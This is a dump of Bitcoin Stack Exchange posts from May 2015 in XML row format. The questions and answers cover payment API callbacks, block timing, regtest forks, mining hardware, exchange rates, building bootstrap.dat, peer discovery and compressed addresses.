  <row Id="37335" PostTypeId="1" CreationDate="2015-05-11T05:41:45.377" Score="0" ViewCount="176" Body="&lt;p&gt;I'm using the blockchain.info/api/api_receive&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have everything working fine but when I made a payment I can't find (in the callback) the bitcoin address of the payer, only the address of the payee...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;callback example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{  &#xA;   &quot;input_transaction_hash&quot;:&quot;0a11043d6e067bad827d4c82da2c45e99323f3a0b28f843fae156bcbd7e8a1d2&quot;,&#xA;   &quot;shared&quot;:&quot;false&quot;,&#xA;   &quot;address&quot;:&quot;1MVSoHC5M875Pbz5FfzckA35A6LpbmNcpo&quot;,&#xA;   &quot;destination_address&quot;:&quot;1MVSoHC5M875Pbz5FfzckA35A6LpbmNcpo&quot;,&#xA;   &quot;input_address&quot;:&quot;1NjbP7RFN6sQbEp6wVc21ZpKRhoR4PaLbR&quot;,&#xA;   &quot;invoice_id&quot;:&quot;40&quot;,&#xA;   &quot;anonymous&quot;:&quot;false&quot;,&#xA;   &quot;secret&quot;:&quot;eijfei4333&quot;,&#xA;   &quot;confirmations&quot;:&quot;4&quot;,&#xA;   &quot;value&quot;:&quot;1407217&quot;,&#xA;   &quot;transaction_hash&quot;:&quot;0d28f482f56c784c3f09be9e49ea45de76a49ae91efbeab43a7bfec417c37005&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I find out the payers address?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="26440" LastEditorUserId="2306" LastEditDate="2015-05-11T17:17:06.793" LastActivityDate="2015-05-11T17:17:06.793" Title="How do I get the originating address using Blockchain.info's recieving API?" Tags="|blockchain.info|payment|micropayments|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37336" PostTypeId="1" AcceptedAnswerId="37337" CreationDate="2015-05-11T07:24:19.750" Score="4" ViewCount="432" Body="&lt;p&gt;I am trying understand the Bitcoin verification process.&lt;br&gt;&#xA;What happens, if a new block has not been found and there are enough transactions waiting to fill the current block size limit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will a new block be automatically created, or will we all be waiting for the new block?&lt;/p&gt;&#xA;" OwnerUserId="23238" LastEditorUserId="5406" LastEditDate="2016-03-10T09:48:52.320" LastActivityDate="2016-03-10T09:48:52.320" Title="Will a new block be found immediately, when there are enough transactions to fill a block?" Tags="|mining-theory|block-interval|transaction-selection|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37337" PostTypeId="2" ParentId="37336" CreationDate="2015-05-11T08:03:03.957" Score="4" Body="&lt;p&gt;We don't have to wait until a block is full, instead blocks are created in a random process. Whenever one is found, the miners directly try finding the next one. This takes roughly ten minutes, regardless of how many transactions are waiting to be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, we'll all be waiting for the new block.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="8717" LastEditDate="2015-05-11T08:33:51.613" LastActivityDate="2015-05-11T08:33:51.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37338" PostTypeId="1" AcceptedAnswerId="37342" CreationDate="2015-05-11T10:40:08.263" Score="1" ViewCount="294" Body="&lt;p&gt;I have registered on &lt;a href=&quot;https://sandbox.coinbase.com&quot; rel=&quot;nofollow&quot;&gt;https://sandbox.coinbase.com&lt;/a&gt; before, two days ago. They are showing me that I have received 100,000 bits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been 3 days that status is still in pending state. What am I supposed to do?&lt;/p&gt;&#xA;" OwnerUserId="26442" LastEditorUserId="2306" LastEditDate="2015-05-11T17:18:17.427" LastActivityDate="2015-05-11T17:18:17.427" Title="Sandbox bitcoins status is pending" Tags="|coinbase.com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37340" PostTypeId="1" CreationDate="2015-05-11T12:04:33.760" Score="8" ViewCount="736" Body="&lt;p&gt;I've created a regtest network consisting of 2 nodes - node0 &amp;amp; node1.&lt;br/&gt;&#xA;I'd like to have a fork on the common blockchain and seemingly achieved it by doing so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;nodes start&lt;/li&gt;&#xA;&lt;li&gt;node0 adds node1 via &lt;code&gt;addnode&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;node0 generates 1 block with hash 4dac...&lt;/li&gt;&#xA;&lt;li&gt;node1 generates 1 block with hash 5d8b...&lt;/li&gt;&#xA;&lt;li&gt;node0 invalidates node0's block with hash 5d8b... via &lt;code&gt;invalidate &amp;lt;hash&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;node1 stops&lt;/li&gt;&#xA;&lt;li&gt;node0 generates 1 block with hash 64f2...&lt;/li&gt;&#xA;&lt;li&gt;node1 restarts&lt;/li&gt;&#xA;&lt;li&gt;node1 generates 1 block with hash 5sfg...&lt;/li&gt;&#xA;&lt;li&gt;node0: &lt;code&gt;getchaintips&lt;/code&gt; returns an array with invalidated block's hash 5d8b... with status &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now my questions:&lt;br/&gt;&lt;/strong&gt;&#xA;&lt;strong&gt;a)&lt;/strong&gt; How can I achieve a &lt;em&gt;&quot;&lt;code&gt;valid-fork&lt;/code&gt;&quot; status&lt;/em&gt; in the output of getchaintips for the previously invalidated fork? [SOLVED] &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;b)&lt;/strong&gt; Is it possible for a node to &quot;conciously&quot;/via RPC give up its own chain and switch to the competing chain?&lt;/h2&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-06-06T14:33:00.457" LastActivityDate="2018-01-23T06:47:58.257" Title="Valid fork in regtest - Change blockchain via RPC?" Tags="|blockchain|blockchain-fork|regtest|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37342" PostTypeId="2" ParentId="37338" CreationDate="2015-05-11T13:28:38.843" Score="1" Body="&lt;p&gt;It would probably be easiest and fastest to simply request addition testnet coin from a faucet. I'd suggest &lt;a href=&quot;http://tpfaucet.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;TP's TestNet Faucet&lt;/a&gt; which at the time of this writing is giving out 0.94 tbtc per request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this also doesn't work, it's possible that Coinbase's testnet node is down, in which case you'd have to &lt;a href=&quot;https://support.coinbase.com/customer/portal/emails/new&quot; rel=&quot;nofollow&quot;&gt;contact their support team&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please remember to return your tbtc to TP's Faucet once your done with it!&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-05-11T13:28:38.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37343" PostTypeId="2" ParentId="37335" CreationDate="2015-05-11T13:59:14.130" Score="2" Body="&lt;p&gt;You can use blockchain.info's API to look this up, specifically you're looking for the inputs of the &quot;input_transaction_hash&quot; tx:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/rawtx/0a11043d6e067bad827d4c82da2c45e99323f3a0b28f843fae156bcbd7e8a1d2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;   &quot;ver&quot;:1,&#xA;   &quot;inputs&quot;:[&#xA;      {&#xA;         &quot;sequence&quot;:4294967295,&#xA;         &quot;prev_out&quot;:{&#xA;            &quot;spent&quot;:true,&#xA;            &quot;tx_index&quot;:86277579,&#xA;            &quot;type&quot;:0,&#xA;            &quot;addr&quot;:&quot;1JfkMijQTFsRbfDhqTU8Sacx2JVGiSs8af&quot;,&#xA;            &quot;value&quot;:20470771,&#xA;            &quot;n&quot;:1,&#xA;            &quot;script&quot;:&quot;76a914c1ce233e2d34facb69aa2b1233db07929586691388ac&quot;&#xA;         },&#xA;         &quot;script&quot;:&quot;49304602210091a3b8759a99abcf4eaa1d3205f5d89e5243faa9ea166c3a9d2f34889dd5f86c02210080738b0beb1cbede15061d2ba5e37033bcc16848b06807e6c3ab2837ef281a99012102665ea1fd74fdb940be0245633ee276bb2abc4a650a16eb77601ed0c3ffd37293&quot;&#xA;      }&#xA;   ],&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please be aware that actually &lt;em&gt;using&lt;/em&gt; the &quot;from&quot; addresses (there are often multiple) for any purpose is dangerous and &lt;em&gt;strongly&lt;/em&gt; discouraged, please see &lt;em&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/750/can-a-bitcoin-transaction-be-reversed-from-the-receiving-end&quot;&gt;Can a bitcoin transaction be reversed from the receiving end?&lt;/a&gt;&lt;/em&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a need to collect a return address for some purpose, you should consider using BIPs-&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;70&lt;/a&gt;/&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0071.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;71&lt;/a&gt;/&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0072.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;72&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-05-11T13:59:14.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37344" PostTypeId="1" AcceptedAnswerId="38311" CreationDate="2015-05-11T14:31:25.240" Score="7" ViewCount="317" Body="&lt;p&gt;SPV clients typically connect to full node peers and set filters on what information they download. How many SPV peers can a single full node support, typically? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it reasonable to expect millions of SPV node users connecting to &lt;a href=&quot;https://getaddr.bitnodes.io/&quot;&gt;~6,000&lt;/a&gt; full nodes?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-10-26T22:55:34.267" Title="Is the SPV client model scalable?" Tags="|scalability|transaction-verification|spv|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37346" PostTypeId="1" CreationDate="2015-05-11T22:19:30.950" Score="-3" ViewCount="186" Body="&lt;p&gt;I'm curios what kind of PC, I need to mine bitcoins. What OS system, what GPU, CPU, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my current specification are:&#xA;CPU: Xeon e3-1230v3&#xA;GPU: GTX 780&#xA;RAM: 24gb&#xA;OS: Windows 8.1(64bits) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what do u think about that spec, and what do u think i can change for faster mining?&lt;/p&gt;&#xA;" OwnerUserId="26450" LastEditorUserId="2229" LastEditDate="2015-05-12T14:44:40.937" LastActivityDate="2015-05-12T14:44:40.937" Title="How can I mine bitcoin faster?" Tags="|bitcoind|bitcoin-core|bitcoinj|" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-12T00:55:01.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="37347" PostTypeId="2" ParentId="37346" CreationDate="2015-05-11T22:44:12.703" Score="2" Body="&lt;p&gt;For Bitcoin mining, you need a Bitcoin miner, not a PC.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-05-11T22:44:12.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37348" PostTypeId="2" ParentId="33995" CreationDate="2015-05-12T01:59:47.297" Score="3" Body="&lt;p&gt;The point you bring up is fundamental to understanding how the bitcoin market operates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The majority of companies that have grown quickly in the space help merchants accept bitcoin. As you mentioned, these merchants generally end up selling bitcoin for fiat currency. Companies that provide bitcoin payment processing have grown more quickly over the past year than consumer wallet companies (which help consumers purchase bitcoin). Consequently, the bitcoin price has experienced downward price pressure over the past year, since we find more market participants selling bitcoin than buying it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As regulation and banking becomes more attainable for bitcoin businesses over the coming year, we should see consumer wallet companies grow, which would lead to more people buying bitcoin. Until then, expect to see continued downward pressure on the bitcoin price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I'm the CEO of bitcoin exchange &lt;a href=&quot;https://www.coinsetter.com&quot; rel=&quot;nofollow&quot;&gt;Coinsetter&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26452" LastActivityDate="2015-05-12T01:59:47.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37349" PostTypeId="1" AcceptedAnswerId="37370" CreationDate="2015-05-12T03:33:14.353" Score="2" ViewCount="72" Body="&lt;p&gt;I have been looking for a service that uses federated servers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I am paranoid. And because companies pay me to be imaginative in my foe analogies. &lt;/p&gt;&#xA;" OwnerUserId="18602" LastEditorUserId="5406" LastEditDate="2015-11-10T11:29:49.920" LastActivityDate="2015-11-10T11:29:49.920" Title="Does AirBitz have federated servers?" Tags="|data-security|safety|airbitz|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37350" PostTypeId="2" ParentId="21304" CreationDate="2015-05-12T05:12:44.430" Score="0" Body="&lt;p&gt;In the London Bitcoin Bank project I remember our average speeds from a pool of 400 people participating at various times was about 40 MHs on average (visual observation). LBTC teams all had GPU's, though some tried to join with CPU's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This article from Forbes speaks about bitcoin miners in their totality being more powerful than the most powerful super computers combined:&#xA;&lt;a href=&quot;http://www.forbes.com/sites/reuvencohen/2013/11/28/global-bitcoin-computing-power-now-256-times-faster-than-top-500-supercomputers-combined/&quot; rel=&quot;nofollow&quot;&gt;http://www.forbes.com/sites/reuvencohen/2013/11/28/global-bitcoin-computing-power-now-256-times-faster-than-top-500-supercomputers-combined/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To your answer practically no. No one computer on its own is going to do anything to bitcoin any time soon. But many computers could, but its not even worth it. Breaking the mechanics of bitcoin is more likely to cause a problem than trying to brute force with computing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When one ASIC is equal to thousands of GPU's, forget even CPU's! You are better off trying to break steel with a tooth pick!&lt;/p&gt;&#xA;" OwnerUserId="13620" LastActivityDate="2015-05-12T05:12:44.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37351" PostTypeId="2" ParentId="37336" CreationDate="2015-05-12T05:16:20.410" Score="1" Body="&lt;p&gt;Bitcoin verification and confirmation are different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You spend your bitcoins to a merchant, and the merchant could verify it immediately (&amp;lt;1 second).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your transaction will then be transmitted via bitcoin p2p client network and it will be added to the public ledger (blockchain), with in next 10 mins. This process is known as confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this 10 mins, that merchant could spend the bitcoins he received from you.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2015-05-12T05:16:20.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37352" PostTypeId="1" CreationDate="2015-05-12T05:21:09.440" Score="1" ViewCount="2975" Body="&lt;p&gt;How is the data collected to determine Bitcoin's value? And who determines the exchange value of Bitcoin in USD?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question isn't really answered, no matter how much I research. I want to know the evaluation process of Bitcoin. If possible can someone go as much detail as they think necessary. I understand the mechanisms of Bitcoin: generation, exchange and the what not, but never really understood how or whom values Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that currency is evaluated by demand and supply but how is the demand and supply gauged and who does this seemingly impossible task? Because, you know, Bitcoin is supposed to be unregulated and free.&lt;/p&gt;&#xA;" OwnerUserId="26453" LastEditorUserId="5406" LastEditDate="2015-05-12T15:02:20.253" LastActivityDate="2015-05-12T18:49:54.230" Title="Who determines the value of BTC vs USD?" Tags="|exchange-rate|value|price-discovery|" AnswerCount="2" CommentCount="3" ClosedDate="2015-05-12T15:02:40.587" ContentLicense="CC BY-SA 3.0" />
  <row Id="37353" PostTypeId="2" ParentId="37352" CreationDate="2015-05-12T05:53:53.147" Score="0" Body="&lt;p&gt;The Bitcoin / USD exchange rate is determined by users of an &lt;a href=&quot;https://en.bitcoin.it/wiki/Currency_exchange&quot; rel=&quot;nofollow&quot;&gt;exchange&lt;/a&gt;. Traders in an exchange can buy/sell at however much they'd like, but if you sell BTC to USD at too high a rate, or buy BTC with USD at too low a rate, your transaction is less likely to occur. &lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-05-12T18:49:54.230" LastActivityDate="2015-05-12T18:49:54.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37354" PostTypeId="2" ParentId="10381" CreationDate="2015-05-12T06:49:18.757" Score="4" Body="&lt;p&gt; From Mac&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open terminal&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the folder where the blocks are. In this&#xA;case Bitcoin's folder (it's the same for other bitcoin forks)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd &quot;Library/Application Support/Bitcoin/blocks/&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run this code that will concatenate all the blk files. Make sure to include all the numbered&#xA;blocks you find on your Bitcoin's folder. In this case there are 4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat blk000*.dat &amp;gt; bootstrap.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Done.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18471" LastEditorUserId="2306" LastEditDate="2015-05-13T02:38:08.553" LastActivityDate="2015-05-13T02:38:08.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37355" PostTypeId="2" ParentId="23074" CreationDate="2015-05-12T06:52:20.967" Score="3" Body="&lt;p&gt; From Mac&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open terminal&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the folder where the blocks are. In this&#xA;case Bitcoin's folder (it's the same for other bitcoin forks)&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;cd &amp;quot;/Library/Application Support/Bitcoin/blocks/&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run this code that will concatenate all the blk files. In this case there are 4 so you would do:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;cat blk00000.dat blk00001.dat blk00002.dat blk00003.dat blk00004.dat &amp;gt; bootstrap.dat&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can also use the * wildcard to insert them all onto the bootstrap file, or a determined range delimited by the wildcard. Like:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;cat blk0****.dat  &amp;gt; bootstrap.dat&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Done.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18471" LastEditorUserId="18471" LastEditDate="2021-03-12T00:12:03.403" LastActivityDate="2021-03-12T00:12:03.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37356" PostTypeId="2" ParentId="37352" CreationDate="2015-05-12T09:29:35.123" Score="0" Body="&lt;p&gt;The exchange rate of &lt;code&gt;BTC/USD&lt;/code&gt; is discovered by market participants through offering to sell and buy bitcoins for USD. The current rate is just the latest price from when a buyer and seller agreed on a trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exchanges don't set prices, but offer a platform that keeps track of buy and sell orders to facilitate trading. Therefore, in a way, they collect the data and communicate the price, while (in an ideal world) not influencing the price themselves.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-12T09:36:54.537" LastActivityDate="2015-05-12T09:36:54.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37360" PostTypeId="2" ParentId="37340" CreationDate="2015-05-12T14:57:25.960" Score="-1" Body="&lt;p&gt;Regarding a) I'm not really familiar how it validates the block, but my guess is no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as for b) it is possible to give up its own chain of the other chain is the longest valid chain.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blocks in shorter chains (or invalid chains) are not used for anything. When the bitcoin client switches to another, longer chain, all valid transactions of the blocks inside the shorter chain are re-added to the pool of queued transactions and will be included in another block. The reward for the blocks on the shorter chain will not be present in the longest chain, so they will be practically lost, which is why a network-enforced 100-block maturation time for generations exists.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_chain&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9876" LastEditorUserId="9876" LastEditDate="2015-05-13T17:23:26.637" LastActivityDate="2015-05-13T17:23:26.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37362" PostTypeId="1" CreationDate="2015-05-12T19:17:18.907" Score="0" ViewCount="235" Body="&lt;p&gt;I want to extract all &lt;strong&gt;public&lt;/strong&gt; keys from the blockchain. Those will probably mostly be keys that have been used to sign transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do this?&lt;/p&gt;&#xA;" OwnerUserId="26392" LastEditorUserId="5406" LastEditDate="2015-05-12T20:01:56.940" LastActivityDate="2015-05-12T20:01:56.940" Title="Extract all public keys from blockchain" Tags="|bitcoind|public-key|bitcoinj|" AnswerCount="0" CommentCount="4" ClosedDate="2015-05-12T21:42:31.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="37363" PostTypeId="1" CreationDate="2015-05-12T19:44:12.817" Score="2" ViewCount="68" Body="&lt;p&gt;I am trying to understand the control flow and handling of transactions in the memory pool. &lt;/p&gt;&#xA;" OwnerUserId="19374" LastEditorUserId="5406" LastEditDate="2016-04-10T12:44:21.057" LastActivityDate="2016-04-10T12:44:21.057" Title="Which function is called to mine a block, broadcast the newly mined block &amp; receive a newly mined block?" Tags="|bitcoind|block|mining-technical-details|bitcoin-core-development|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37366" PostTypeId="1" CreationDate="2015-05-12T21:01:07.427" Score="14" ViewCount="3647" Body="&lt;p&gt;Why does Bitcoin use a gossip protocol rather than a DHT for peer discovery? I believe that kademlia XOR distance helps shape the network topology so that peers are more evenly disturbed. &lt;/p&gt;&#xA;" OwnerUserId="26459" LastEditorUserId="575" LastEditDate="2015-05-14T23:05:58.690" LastActivityDate="2015-05-14T23:05:58.690" Title="Why doesn't Bitcoin use a DHT for choosing peers?" Tags="|client|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37368" PostTypeId="1" CreationDate="2015-05-12T21:39:17.557" Score="1" ViewCount="3012" Body="&lt;p&gt;I tried to get involved with Bitcoin on iPad, couldn't download a wallet and thought a paper wallet was an alternative; I generated said paper wallet and used the address to buy coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realized I couldn't access the coins, so I bought a macbook to download a wallet. Assumed I could just add the address from the paper wallet, but its asking for a &quot;label.&quot;&lt;/p&gt;&#xA;" OwnerUserId="26460" LastEditorUserId="2306" LastEditDate="2015-05-12T22:50:27.800" LastActivityDate="2015-05-12T22:50:27.800" Title="What does the label field in Bitcoin-Qt mean?" Tags="|bitcoin-core|paper-wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37370" PostTypeId="2" ParentId="37349" CreationDate="2015-05-12T22:27:08.457" Score="5" Body="&lt;p&gt;We don't have federated servers right now but we do utilize open source, publicly accessible libbitcoin nodes which both Airbitz and 3rd parties host. This is a fully compatible replacement to bitcoind nodes but provides much faster blockchain queries, similar to Electrum servers. If you'd like to run one, we'll include it in the list of servers that our clients could access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our Git encrypted storage &quot;sync&quot; servers are also peer-to-peer but currently only we host them.&lt;/p&gt;&#xA;" OwnerUserId="26461" LastActivityDate="2015-05-12T22:27:08.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37371" PostTypeId="2" ParentId="37368" CreationDate="2015-05-12T22:47:49.030" Score="2" Body="&lt;p&gt;The label is just a short, memorable name for your client to refer to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be anything, or nothing.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-05-12T22:47:49.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37372" PostTypeId="2" ParentId="37366" CreationDate="2015-05-12T23:00:34.273" Score="7" Body="&lt;p&gt;DHTs are built so that nodes keep only a small portion of other nodes addresses in their routing table (the closest ones). This means that when you send a message to a DHT to put(&quot;foo&quot;, &quot;bar&quot;), only specific peers are going to see it (in fact as little as possible) and even fewer are going to store it. So if you want to do &quot;peer lookup&quot; using DHTs, it wouldn't work because nodes aren't programmed to send messages through a path to all nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I think you may be confused with BitTorrent's DHT. They store IP addressed of peers downloading torrents as values of keys in the DHT. So in that sense, they do use the DHT to &quot;lookup peers&quot; downloading a specific torrent. BitTorrent is a different system than Bitcoin, which is not a file-transfer protocol, and therefore I don't see how a DHT can be useful to Bitcoin's design.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-05-12T23:00:34.273" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="37373" PostTypeId="1" AcceptedAnswerId="37375" CreationDate="2015-05-13T01:25:47.060" Score="8" ViewCount="7684" Body="&lt;p&gt;I have two bitcoin addresses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1D8VSXHFAWNhAbruwUMbNp4hsXAnRNkYvX&#xA;12T15tvMGaymMX97X9KxVzyLF323r8v6Hg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One is compressed, one is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I test which is which? (Preferably using python 2.7)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="15533" LastEditDate="2015-11-10T01:33:43.793" LastActivityDate="2021-02-18T00:10:25.437" Title="How can I test if a bitcoin address is compressed or not?" Tags="|address|python|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37374" PostTypeId="2" ParentId="37373" CreationDate="2015-05-13T01:39:21.793" Score="4" Body="&lt;p&gt;Background info: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3059/what-is-a-compressed-bitcoin-key&quot;&gt;What is a compressed Bitcoin key?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Given just the address itself, no, there is no way to tell if it was generated from a compressed or an uncompressed public key. This is calculated from the base58 encoding of the RIPEMD(SHA256(public_key_bytes)). Since the hash isn't reversible, without the public key already in hand, you won't be able to get any more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just look at the base58 decoded data: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ decodeBase58 12T15tvMGaymMX97X9KxVzyLF323r8v6Hg&#xA;000FE302E0D96D9F9AA71738A426A9696EB49AD458679BAFD3&#xA;&#xA;$ decodeBase58 1D8VSXHFAWNhAbruwUMbNp4hsXAnRNkYvX&#xA;00850C296420DC9B02CE237ED630B89815E0803EA3BED0F344&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The version byte is 0x00 in both, then there's the 20 bytes of the hash, and a 4 byte checksum. None of this reveals any information about what information was hashed.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-05-13T02:04:35.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
